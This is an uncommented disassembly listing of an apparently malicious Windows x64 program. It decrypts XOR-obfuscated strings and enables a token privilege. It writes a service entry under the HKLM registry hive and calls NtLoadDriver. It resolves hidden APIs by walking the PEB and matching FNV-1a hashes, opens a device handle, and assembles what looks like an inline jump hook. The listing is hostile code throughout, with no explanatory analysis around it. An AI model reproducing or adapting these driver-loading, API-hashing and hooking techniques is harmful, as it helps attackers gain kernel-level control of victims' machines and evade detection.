mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x430], rax
movabs rax, 0xdba3d85c4e207560
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x438], rax
movabs rax, 0x3986e4d74e0bc209
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x440], rax
movabs rax, 0xaebc52e2d87ffb0a
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x448], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqa xmm0, xmmword [rbp + 0x380]
vxorps xmm0, xmm0, xmmword [rbp + 0x440]
vmovdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x160]
vzeroupper
call fcn.140062de0
mov qword [rbp + 0x80], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x80]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140057008
mov qword [rbp + 0xa0], r15
lea rcx, [rbp + 0x160]
call fcn.14004eb40
lea r8, [rbp + 0xa0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140057008
mov dword [rbp + 0xb0], 1
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb4], rax
mov dword [rbp + 0xbc], 2
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xb0]
xor edx, edx
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140057008
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x160]
call fcn.14004ea90
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x420]
call fcn.140067f60
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140050b60
nop
lea r8, [rbp + 0xa9]
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.140067d90
nop
movabs rax, 0xfc97b743afc850c9
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xa0], rbx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0xb0], xmm0
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x60]
call fcn.140068040
mov rdi, rax
movabs rax, 0xbfcbda26878416c6
mov qword [rbp + 0xa0], rax
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0x3a0], rcx
movabs rax, 0x365a39e04e329233
mov qword [rbp + 0xa0], rax
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0x3a8], rcx
movabs rax, 0x173473b5a0c344e9
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xbec0b12a3c45263c
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x3986e4d74e0b9e7a
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3c0], rax
movabs rcx, 0xaebc52e2d87ffb0a
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3c8], rax
mov qword [rbp + 0xa0], rbx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x368], rax
movabs rax, 0x635120d9cfb13087
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x370], rax
movabs rax, 0xdba3d85c4e207560
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x378], rax
movabs rax, 0x3986e4d74e0bc209
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x380], rax
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x388], rax
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x3a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x3c0]
vxorps xmm0, xmm0, xmmword [rbp + 0x380]
vmovdqa xmmword [rbp + 0x3c0], xmm0
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x160]
vzeroupper
call fcn.140044e90
nop
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x160]
call fcn.140062f50
lea rcx, [rbp + 0x160]
call fcn.140045570
lea r8, [rbp + 0x80]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140056a22
mov bl, 1
movabs rdi, 0xfc97b743f3f76f95
jmp 0x140056d4a
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x1400557bf
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14005587f
mov ebx, esi
cmp dword [r15], 0
jbe 0x1400565db
nop dword [rax]
nop dword [rax + rax]
mov eax, ebx
imul rcx, rax, 0x128
lea rdi, [rcx + r15]
movzx edx, word [rdi + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, r15
lea rcx, [rbp + 0x210]
call fcn.140044e90
nop
lea rcx, [rbp + 0x210]
call fcn.140045570
mov rdx, r14
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140056696
lea rcx, [rbp + 0x210]
call fcn.140044e30
inc ebx
cmp ebx, dword [r15]
jb 0x140056580
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140056677
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140056677
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xa08ab8aa
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140056672
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140056650
cmp edx, 0x4c61685f
je 0x140056786
test r8d, r8d
jne 0x140056630
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14005597d
cmp qword [rax + 0x30], 0
jne 0x140056600
jmp 0x14005597d
mov r14, qword [rdi + 0x18]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140056733
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140056733
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xb0069d06
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005672e
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140056710
cmp edx, 0x7141eb9b
je 0x14005676c
test r8d, r8d
jne 0x1400566f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140056749
cmp qword [rax + 0x30], 0
jne 0x1400566c0
xor r10d, r10d
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call r10
nop
lea rcx, [rbp + 0x210]
call fcn.140044e30
jmp 0x140055991
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14005674c
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x140055980
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140055b5f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140055c1f
xor ebx, ebx
cmp dword [r14], ebx
jbe 0x14005684d
nop dword [rax]
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x128
movzx edx, word [rcx + r14 + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, r14
lea rcx, [rbp + 0xe0]
call fcn.140044e90
nop
lea rcx, [rbp + 0xe0]
call fcn.140045570
lea rdx, [rbp + 0xb0]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140056906
lea rcx, [rbp + 0xe0]
call fcn.140044e30
inc ebx
cmp ebx, dword [r14]
jb 0x1400567f0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400568e7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400568e7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xa08ab8aa
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400568e2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400568c0
cmp edx, 0x4c61685f
je 0x1400569e6
test r8d, r8d
jne 0x1400568a0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140055d0d
cmp qword [rax + 0x30], 0
jne 0x140056870
jmp 0x140055d0d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140056993
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140056993
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xb0069d06
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005698e
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140056970
cmp edx, 0x7141eb9b
je 0x1400569cc
test r8d, r8d
jne 0x140056950
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400569a9
cmp qword [rax + 0x30], 0
jne 0x140056920
xor r10d, r10d
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call r10
nop
lea rcx, [rbp + 0xe0]
call fcn.140044e30
jmp 0x140055d1d
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x1400569ac
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140055d0f
mov eax, dword [rbx + 0x24]
add rax, r9
movzx edx, word [rax + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
xor r15d, r15d
jmp 0x140055e73
mov byte [rbp + 0xa9], 1
movabs rax, 0xfc97b743968716c1
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0xa0], rbx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xa9]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140056ae4
mov bl, 1
movabs rdi, 0xfc97b743f3f76f95
jmp 0x140056d4a
mov byte [rbp + 0xab], 3
movabs rax, 0x92f8f4319c851dd0
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rax
movabs rax, 0x59194d8e472f9232
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0xa0], rbx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xab]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140056bb0
mov bl, 1
movabs rdi, 0xfc97b743f3f76f95
jmp 0x140056d4a
mov byte [rbp + 0xaa], 3
movabs rax, 0xfc97b73781961bc6
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0xa0], rbx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xaa]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140056c72
mov bl, 1
movabs rdi, 0xfc97b743f3f76f95
jmp 0x140056d4a
mov ebx, dword [rdi + 0x10]
mov rcx, rdi
call fcn.140045570
mov rdx, rax
movabs rax, 0x88f6e726949602dc
mov qword [rbp + 0xa0], rax
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rcx
movabs rax, 0x59194d8e2b40e02e
mov qword [rbp + 0xa0], rax
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rcx
movabs rdi, 0xfc97b743f3f76f95
mov qword [rbp + 0xa0], rdi
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140056d37
mov bl, 1
jmp 0x140056d4a
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0x160]
call fcn.140044e30
nop
lea rcx, [rbp + 0x60]
call fcn.140044e30
nop
lea rcx, [rbp + 0x20]
call fcn.140044e30
nop
lea rcx, [rbp + 0x40]
call fcn.14004ea90
nop
lea rcx, [rbp + 0x420]
call fcn.14004ea90
test bl, bl
jne 0x140057014
movabs rax, 0x8ee3c42a94923dc9
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x360], rax
movabs rax, 0x377025ed4a0dbc3f
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x368], rax
movabs rax, 0xe3454aab6e26ce2
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x370], rax
movabs rax, 0xafcdbd2e3c55363c
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x378], rax
movabs rax, 0x6aea8ba53a65ad4a
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x380], rax
movabs rax, 0xc7ca20878b238f6f
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x388], rax
movabs rax, 0xc9b1976d6c2f5d98
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x390], rax
movabs rcx, 0x49499eb030848134
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x398], rax
mov qword [rbp + 0xa0], rdi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x635120d9cfb13087
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xdba3d85c4e207560
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x3986e4d74e0bc209
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3c0], rax
movabs rax, 0xaebc52e2d87ffb0a
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xc9b1976d305c38fb
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3d8], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x380], ymm1
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x180]
vzeroupper
call fcn.140044e90
nop
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x180]
call fcn.140062f50
lea rcx, [rbp + 0x180]
call fcn.140045570
mov rdx, rax
lea rcx, [rbp + 0xd0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
lea rcx, [rbp + 0x180]
call fcn.140044e30
jmp 0x140057016
lea rcx, [rbp + 0x160]
call fcn.14004ea90
xor bl, bl
mov byte [rbp + 8], bl
lea r9, [rbp + 0xe0]
lea r8, [rbp + 8]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x3e0]
call fcn.14006d930
nop
lea rcx, [rbp + 0x2d8]
call fcn.1400616a0
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a0]
call fcn.140044e30
nop
lea rcx, [rbp + 0xe0]
call fcn.140044e30
nop
lea rcx, [rbp + 0x118]
call fcn.140062c30
nop
cmp byte [rbp + 0x400], 0
jne 0x1400570af
lea rcx, [rbp + 0x20]
call fcn.140047540
nop
mov qword [rbp + 0x138], r15
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x140]
call fcn.140047420
nop
lea rcx, [rbp + 0x20]
call fcn.140044e30
jmp 0x140057235
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140057147
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057147
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x209ac724
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140057142
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140057120
cmp edx, 0xfb181c85
je 0x140057288
test r8d, r8d
jne 0x140057100
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14005715d
cmp qword [rax + 0x30], 0
jne 0x1400570d0
mov r10, r15
movabs rax, 0xfcd8fe04afd933c9
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb0], rax
movabs rcx, 0x59194d8e2b40e046
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb8], rax
movabs rax, 0xfc97b743f3f76f95
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0xb0], xmm0
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0xb0]
call r10
mov qword [0x1401d53e8], rax
mov qword [rbp + 0x138], rax
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x140]
call fcn.140047420
nop
lea rcx, [rbp + 0x3e0]
call fcn.140044e30
nop
cmp qword [rbp + 0x138], 0
je 0x1400573c3
cmp qword [rbp + 0x150], 0
je 0x1400573c3
lea rcx, [rbp + 0xa8]
call fcn.14004b420
mov eax, 0x5a4d
cmp word [0x1400f25c0], ax
jne 0x1400572a5
movsxd r8, dword [0x1400f25fc]
add r8, 8
add r8, r14
jmp 0x1400572ab
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x140057160
mov r8d, 4
mov r8d, dword [r8]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xa8]
call fcn.14004d6a0
test al, al
jne 0x140057427
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x420]
call fcn.140047420
mov r14, rax
mov qword [rbp + 0xc0], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140057373
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057373
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x2524e751
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005736e
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140057350
cmp edx, 0x113aebb1
je 0x14005738b
test r8d, r8d
jne 0x140057330
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400573a3
cmp qword [rax + 0x30], 0
jne 0x140057300
jmp 0x1400573a3
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r15d, dword [rcx + rax*4]
add r15, r9
mov rcx, qword [rbp + 0x138]
call r15
test eax, eax
je 0x1400573ba
mov rcx, r14
call fcn.140053de0
nop
mov rcx, r14
call fcn.140044e30
nop
lea rcx, [rbp + 0x140]
call fcn.140044e30
nop
lea rcx, [rbp + 0x1e0]
call fcn.140044e30
lea rcx, [rbp + 0x1c0]
call fcn.140044e30
nop
lea rcx, [rbp + 0x100]
call fcn.140062c30
nop
mov rcx, qword [rbp + 0x10]
call fcn.140044e30
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.1400d2300
add rsp, 0x4d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r15, r12
mov qword [rbp + 0xc0], r13
add r12, r13
cmp r15, r12
jae 0x1400578e7
movabs rsi, 0x7ffffffffffffffd
mov rdi, qword [rbp + 0x90]
xor r13d, r13d
mov r14, qword [0x1401d56d0]
mov eax, 4
mov eax, dword [rdi + rax]
cmp dword [0x1401d56a0], eax
jle 0x14005756c
lea rcx, [0x1401d56a0]
call fcn.1400d23c8
cmp dword [0x1401d56a0], 0xffffffff
jne 0x14005756c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140057517
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057517
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x353283c7
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140057512
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400574f0
cmp edx, 0x57b3f7d9
je 0x14005764a
test r8d, r8d
jne 0x1400574d0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14005752c
cmp qword [rax + 0x30], r13
jne 0x1400574a0
mov rdx, r13
lea rcx, [0x1400f90f0]
call rdx
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401d5648], rax
lea rcx, [0x1401d56a0]
call fcn.1400d235c
mov rdi, qword [rbp + 0x90]
movabs rsi, 0x7ffffffffffffffd
lea rcx, reloc.WS2_32.dll_bind
call fcn.140048a50
mov dword [rbp + 0xd0], 0x25ff
mov word [rbp + 0xd4], r13w
mov qword [rbp + 0xd6], r14
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
